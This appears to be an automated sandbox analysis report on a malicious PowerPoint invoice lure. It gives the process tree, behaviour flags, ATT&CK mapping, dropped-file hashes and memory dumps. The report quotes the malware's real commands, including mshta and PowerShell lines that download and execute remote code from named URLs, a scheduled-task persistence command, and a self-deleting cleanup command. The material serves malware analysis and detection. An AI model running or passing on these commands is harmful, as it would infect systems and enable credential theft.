PID 2024 wrote to memory of 2004	2024	POWERPNT.EXE	splwow64.exe
PID 2024 wrote to memory of 2004	2024	POWERPNT.EXE	splwow64.exe
PID 2024 wrote to memory of 2004	2024	POWERPNT.EXE	splwow64.exe
PID 2024 wrote to memory of 1776	2024	POWERPNT.EXE	mshta.exe
PID 2024 wrote to memory of 1776	2024	POWERPNT.EXE	mshta.exe
PID 2024 wrote to memory of 1776	2024	POWERPNT.EXE	mshta.exe
PID 2024 wrote to memory of 1776	2024	POWERPNT.EXE	mshta.exe
PID 1776 wrote to memory of 1664	1776	mshta.exe	powershell.exe
PID 1776 wrote to memory of 1664	1776	mshta.exe	powershell.exe
PID 1776 wrote to memory of 1664	1776	mshta.exe	powershell.exe
PID 1776 wrote to memory of 1664	1776	mshta.exe	powershell.exe
PID 1776 wrote to memory of 1996	1776	mshta.exe	schtasks.exe
PID 1776 wrote to memory of 1996	1776	mshta.exe	schtasks.exe
PID 1776 wrote to memory of 1996	1776	mshta.exe	schtasks.exe
PID 1776 wrote to memory of 1996	1776	mshta.exe	schtasks.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1664 wrote to memory of 1996	1664	powershell.exe	RegSvcs.exe
PID 1996 wrote to memory of 1316	1996	RegSvcs.exe	cmd.exe
PID 1996 wrote to memory of 1316	1996	RegSvcs.exe	cmd.exe
PID 1996 wrote to memory of 1316	1996	RegSvcs.exe	cmd.exe
PID 1996 wrote to memory of 1316	1996	RegSvcs.exe	cmd.exe
PID 1316 wrote to memory of 1740	1316	cmd.exe	taskkill.exe
PID 1316 wrote to memory of 1740	1316	cmd.exe	taskkill.exe
PID 1316 wrote to memory of 1740	1316	cmd.exe	taskkill.exe
PID 1316 wrote to memory of 1740	1316	cmd.exe	taskkill.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DSV INV 103823 14072021.ppt"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2004

C:\Windows\SysWOW64\mshta.exe
mshta https://bitly.com/dhjkaydajkwyquibxcasad
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 ;i'E'x(iwr('https://ia801508.us.archive.org/9/items/qw_20210713/mark.txt') -useB)
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1996 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe & RD /S /Q C:\\ProgramData\\078967905672141\\* & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1996
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""https://randikhanaekminar.blogspot.com/p/mark.html"
3⤵
- Creates scheduled task(s)
PID:1996

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
MD5
2902de11e30dcc620b184e3bb0f0c1cb

SHA1
5d11d14a2558801a2688dc2d6dfad39ac294f222

SHA256
e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544

SHA512
efd415cde25b827ac2a7ca4d6486ce3a43cdcc1c31d3a94fd7944681aa3e83a4966625bf2e6770581c4b59d05e35ff9318d9adaddade9070f131076892af2fa0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
159a8546046489bc8d6242156cb7539c

SHA1
b7abf22bd510f0e0400b7538f215e9195bc046e8

SHA256
d38360011d544279618b421da767352559295f5beb2cf5308bdb273b6837e753

SHA512
f3898dbc2d4e8cda31e2920ac7d289d0fd66ada19ebcc0638593201b939742b8aa47539355e97b79d7179ecd2f259a2ddd2fe983e3f5dba7cc617e4b62cec39f

Download Submit
\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

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\ProgramData\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll
MD5
e477a96c8f2b18d6b5c27bde49c990bf

SHA1
e980c9bf41330d1e5bd04556db4646a0210f7409

SHA256
16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

SHA512
335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

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\ProgramData\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

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memory/1316-104-0x0000000000000000-mapping.dmp

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memory/1664-70-0x0000000002250000-0x0000000002E9A000-memory.dmp

Filesize
12.3MB

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memory/1664-81-0x00000000060F0000-0x00000000060F1000-memory.dmp

Filesize
4KB

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memory/1664-66-0x0000000000000000-mapping.dmp

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memory/1664-71-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

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memory/1664-72-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

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memory/1664-73-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

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memory/1664-76-0x0000000005FF0000-0x0000000005FF1000-memory.dmp

Filesize
4KB

Download
memory/1664-69-0x0000000000C50000-0x0000000000C51000-memory.dmp

Filesize
4KB

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memory/1664-82-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

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memory/1664-89-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

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memory/1664-90-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

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memory/1664-91-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

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memory/1664-94-0x00000000009E0000-0x00000000009E3000-memory.dmp

Filesize
12KB

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memory/1740-105-0x0000000000000000-mapping.dmp

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memory/1776-65-0x0000000000000000-mapping.dmp

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memory/1996-67-0x0000000000000000-mapping.dmp

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memory/1996-96-0x000000000040717B-mapping.dmp

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memory/1996-98-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/1996-95-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/2004-64-0x000007FEFC471000-0x000007FEFC473000-memory.dmp

Filesize
8KB

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memory/2004-62-0x0000000000000000-mapping.dmp

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memory/2024-59-0x0000000074BD1000-0x0000000074BD5000-memory.dmp

Filesize
16KB

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memory/2024-63-0x0000000076A81000-0x0000000076A83000-memory.dmp

Filesize
8KB

Download
memory/2024-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2024-60-0x0000000071C71000-0x0000000071C73000-memory.dmp

Filesize
8KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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